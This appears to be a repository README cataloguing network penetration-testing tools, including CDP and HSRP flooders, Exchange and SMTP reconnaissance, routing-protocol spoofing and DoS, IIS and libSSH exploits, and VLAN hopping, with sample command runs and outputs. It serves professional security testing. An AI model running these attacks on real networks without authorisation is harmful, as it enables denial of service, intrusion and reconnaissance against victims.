14 KiB
Networks Penetration Testing related scripts, tools and Cheatsheets
CDPFlooder.py- CDP Flooding tool, intended to take out entire segment switched by some old Cisco switches, vulnerable to Denial of Service after receiving big amount of invalid CDP packets.
The effect will be similar to:
SW2960#show cdp traffic
CDP counters :
Total packets output: 361, Input: 11824
Hdr syntax: 0, Chksum error: 0, Encaps failed: 0
No memory: 0, Invalid packet: 461858, Fragmented: 0
CDP version 1 advertisements output: 9, Input: 178
CDP version 2 advertisements output: 352, Input: 76
-
dtpscan.py- DTP Scanner - simple script trying to determine type of configured switchport and DTP negotation mode in order to assist in VLAN Hopping attacks. (gist) -
exchangeRecon.py- This tool connects to the given Exchange's hostname/IP address and then by collects various internal information being leaked while interacting with different Exchange protocols. Exchange may give away following helpful during OSINT or breach planning stages insights:- Internal IP address
- Internal Domain Name (ActiveDirectory)
- Exchange Server Version
- support for various SMTP User Enumeration techniques
- Version of underlying software such as ASP.NET, IIS which may point at OS version indirectly
This tool will be helpful before mounting social engieering attack against victim's premises or to aid Password-Spraying efforts against exposed OWA interface.
Sample run:
user@host:~/ $ python3 mail.example.com
Hostname: mail.example.com
*) SSL Certificate Subject components:
CN = mail.example.com
*) Outlook Web App version leaked in OWA HTML source:
14.0.639.21
(Exchange Server 2010 RTM; November 9, 2009; 14.0.639.21 14.00.0639.021)
*) IIS Version:
Microsoft-IIS/7.5
*) ASP.Net Version:
2.0.50727
*) Leaked Internal IP address:
10.10.13.250
*) Leaked Internal Domain name in NTLM challenge packet:
Target Name: EXAMPLE
Context:
Target:
AD domain name : EXAMPLE.LOCAL
Server name : EX05
DNS domain name : example.local
FQDN : ex05.example.local
Parent DNS domain : example.local
Server Timestamp : 19-11-18 Mon 16:06:53 UTC
OS Ver: ????????
Flags:
- Negotiate Unicode
- Request Target
- Negotiate NTLM
- Negotiate Always Sign
- Target Type Domain
- Negotiate NTLM2 Key
- Negotiate Target Info
- unknown
- Negotiate 128
- Negotiate 56
*) Exchange supports legacy SMTP and returns following unusual capabilities:
mail.example.com Hello [192.168.0.100]
- 250-XEXCH50
- 250-XRDST
- XSHADOW
*) Results for SMTP User Enumeration attempts:
- [-] MAIL FROM:<test@[192.168.0.100]> returned: (501, "5.1.7 Invalid address")
- [-] RCPT TO:<test@[192.168.0.100]> returned: (503, "5.5.2 Need mail command")
- [+] VRFY root returned: (252, "2.1.5 Cannot VRFY user")
- [-] EXPN root returned: (502, "5.3.3 Command not implemented")
-
host-scanner-via-udp.py- Running Hosts scanner leveraging ICMP Destination Unreachable response upon UDP closed port packet. Requires root/Administrator privileges. (gist) -
HSRPFlooder.py- Proof of concept HSRP Coup State: Active flooder, trying to provoke Denial of Service within LAN segment due to tunnelling packets to the non-existent gateway that won active-router election. Not working stabily at the moment. -
IBM-MQ-Pentesting-notes.md- Busy-man's Practical IBM MQ Penetration Testing cheatsheet, equipped with a couple of handy tips and punch-q installation walkthrough. (gist) -
iis_webdav_upload.py- Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's <iis_webdav_upload_asp> implementation). (gist) -
libssh-auth-bypass.py- CVE-2018-10993 libSSH authentication bypass exploit -
networkConfigurationCredentialsExtract.py- Network-configuration Credentials extraction script - intended to sweep input configuration file and extract keys, hashes, passwords. (gist) -
nmap-grep-to-table.sh- Script converting nmap's greppable output (-oG) into a printable per-host tables. (gist) -
nmap-scan-all.sh- Simple script to launch nmap scans against given target, using specific options and scripts set. -
pingsweep.py- Quick Python Scapy-based ping-sweeper. (gist) -
RoutingAttackKit.py- Tool collecting various Routing Protocols exploitation techniques in one place, one file, handy for Penetration Testing and Red-Teaming assignments. Currently supporting RIPv1/RIPv2 attacks, planning to cover OSPF, EIGRP, MPLS, IS-IS tricks someday.
TODO:
- Add more protocols and their related attacks and fuzzers
- Add online brute-force attacks against authentication strings
- Implement sniffer hunting for used protocols and their auth strings
- Implement semi-auto mode that is first learning a network, then choosing specific attacks
bash $ python RoutingAttackKit.py
:: Routing Protocols Exploitation toolkit
Sends out various routing protocols management frames
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
v0.1
Available attacks:
0. 'sniffer' - (NOT YET IMPLEMENTED) Sniffer hunting for authentication strings.
1. 'ripv1-route' - RIP Spoofed Route announcement
2. 'ripv1-dos' - RIPv1 Denial of Service by Null-routing
3. 'ripv1-ampl' - RIPv1 Reflection Amplification DDoS
4. 'ripv2-route' - RIPv2 Spoofed Route announcement
5. 'ripv2-dos' - RIPv2 Denial of Service by Null-routing
6. 'rip-fuzzer' - RIP/RIPv2 packets fuzzer
bash # python RoutingAttackKit.py -t rip-fuzzer -v
:: Routing Protocols Exploitation toolkit
Sends out various routing protocols management frames
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
v0.1
[.] Using 192.168.1.14 as local/spoof IP address
[+] Launching attack: RIP/RIPv2 packets fuzzer
[.] Generating fuzzed packets for RIPv1...
[.] Generating fuzzed packets for RIPv2...
[.] Collected in total 47782 packets to send. Sending them out...
[+] Started flooding. Press CTRL-C to stop that.
^C
bash $ sudo tshark -i eth0 -f 'udp port 520'
Running as user "root" and group "root". This could be dangerous.
Capturing on 'eth0'
1 0.000000000 192.168.1.14 → 224.0.0.9 RIP 60 Request[Malformed Packet]
2 0.000006657 192.168.1.14 → 224.0.0.9 RIP 60 Request[Malformed Packet]
3 0.015081856 192.168.1.14 → 224.0.0.9 RIPv2 69 Unknown command (254)[Malformed Packet]
4 0.015089122 192.168.1.14 → 224.0.0.9 RIPv2 69 Unknown command (254)[Malformed Packet]
5 0.017368720 192.168.1.14 → 224.0.0.9 RIP 70 Request[Malformed Packet]
6 0.017372733 192.168.1.14 → 224.0.0.9 RIP 70 Request[Malformed Packet]
7 0.021995733 192.168.1.14 → 224.0.0.9 RIPv2 70 Request[Malformed Packet]
8 0.022003639 192.168.1.14 → 224.0.0.9 RIPv2 70 Request[Malformed Packet]
9 0.043048787 192.168.1.14 → 224.0.0.9 RIP 60 Request[Malformed Packet]
10 0.043058474 192.168.1.14 → 224.0.0.9 RIP 60 Request[Malformed Packet]
11 0.050826081 192.168.1.14 → 224.0.0.9 RIPv2 61 Unknown command (64)[Malformed Packet]
12 0.050831934 192.168.1.14 → 224.0.0.9 RIPv2 61 Unknown command (64)[Malformed Packet]
smtpAudit.py- SMTP Server configuration black-box testing/audit tool, capable of auditing SPF/Accepted Domains, DKIM, DMARC, SSL/TLS, SMTP services, banner, Authentication (AUTH, X-EXPS), conducting user enumerations (VRFY, EXPN, RCPT TO) and others. (gist)
Currently supported tests:
01) 'spf' - SPF DNS record test
- 'spf-version' - Checks whether SPF record version is valid
- 'all-mechanism-usage' - Checks whether 'all' mechanism is used correctly
- 'allowed-hosts-list' - Checks whether there are not too many allowed hosts
02) 'dkim' - DKIM DNS record test
- 'public-key-length' - Tests whether DKIM Public Key is at least 1024 bits long
03) 'dmarc' - DMARC DNS record test
- 'dmarc-version' - Checks whether DMARC record version is valid
- 'policy-rejects-by-default' - Checks whether DMARC uses reject policy
- 'number-of-messages-filtered' - Checks whether there are at least 20% messages filtered.
04) 'banner-contents' - SMTP Banner sensitive informations leak test
- 'not-contains-version' - Contains version information
- 'not-contains-prohibited-words'- Contains software/OS/or other prohibited name
- 'is-not-long-or-complex' - Seems to be long and/or complex
- 'contains-hostname' - Checks whether SMTP banner contains valid hostname
05) 'open-relay' - Open-Relay misconfiguration test
- 'internal-internal'
- 'internal-external'
- 'external-internal'
- 'external-external'
- And about 19 other variants
- (the above is very effective against Postfix)
06) 'vrfy' - VRFY user enumeration vulnerability test
07) 'expn' - EXPN user enumeration vulnerability test
08) 'rcpt-to' - RCPT TO user enumeration vulnerability test
09) 'secure-ciphers' - SSL/TLS ciphers security weak configuration
10) 'starttls-offering' - STARTTLS offering (opportunistic) weak configuration
11) 'auth-over-ssl' - STARTTLS before AUTH/X-EXPS enforcement weak configuration
12) 'auth-methods-offered' - Test against unsecure AUTH/X-EXPS PLAIN/LOGIN methods.
13) 'tls-key-len' - Checks private key length of negotiated or offered SSL/TLS cipher suites.
14) 'spf-validation' - Checks whether SMTP Server has been configured to validate sender's SPF
or if it's Microsoft Exchange - that is uses Accepted Domains
-
sshbrute.py- ripped out from Violent Python - by TJ O'Connor. (gist) -
smb-credential-leak.html- SMB Credentials leakage by MSEdge as presented in Browser Security White Paper, X41 D-Sec GmbH. (gist) -
smtpdowngrade.rb- Bettercap TCP Proxy SMTP Downgrade module - prevents the SMTP client from sending "STARTTLS" and returns "454 TLS Not available..." to the client. (gist) -
smtpvrfy.py- SMTP VRFY python tool intended to check whether SMTP server is leaking usernames. (gist) -
wpa2-enterprise-utils- Couple of scripts that became needed/useful during WPA2-Enterprise penetration-testing assignment. -
VLANHopperDTP.py- VLAN Hopping via DTP Trunk (Switch) Spoofing exploit - script automating full VLAN Hopping attack, from DTP detection to VLAN Hop with DHCP lease request (gist)Sample output:
$ ./VLANHopperDTP.py --help
:: VLAN Hopping via DTP Trunk negotiation
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
Mariusz B. / mgeeky, '18
v0.3
usage: ./VLANHopperDTP.py [options]
optional arguments:
-h, --help show this help message and exit
-i DEV, --interface DEV
Select interface on which to operate.
-e CMD, --execute CMD
Launch specified command after hopping to new VLAN.
One can use one of following placeholders in command:
%IFACE (choosen interface), %IP (acquired IP), %NET
(net address), %HWADDR (MAC), %GW (gateway), %MASK
(full mask), %CIDR (short mask). For instance: -e
"arp-scan -I %IFACE %NET%CIDR". May be repeated for
more commands. The command will be launched
SYNCHRONOUSLY, meaning - one have to append "&" at the
end to make the script go along.
-E CMD, --exit-execute CMD
Launch specified command at the end of this script
(during cleanup phase).
-m HWADDR, --mac-address HWADDR
Changes MAC address of the interface before and after
attack.
-f, --force Attempt VLAN Hopping even if DTP was not detected
(like in Nonegotiate situation).
-a, --analyse Analyse mode: do not create subinterfaces, don't ask
for DHCP leases.
-v, --verbose Display verbose output.
-d, --debug Display debug output.
$ sudo ./VLANHopperDTP.py -i enp5s0f1
:: VLAN Hopping via DTP Trunk negotiation
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
Mariusz B. / mgeeky, '18
v0.2
[+] VLAN Hopping IS possible.
[>] After Hopping to other VLANs - leave this program running to maintain connections.
[>] Discovering new VLANs...
==> VLAN discovered: 10
==> VLAN discovered: 20
==> VLAN discovered: 30
==> VLAN discovered: 99
[+] Hopped to VLAN 10.: 172.16.10.10
[+] Hopped to VLAN 20.: 172.16.20.10
[+] Hopped to VLAN 30.: 172.16.30.11
[+] Hopped to VLAN 99.: 172.16.99.10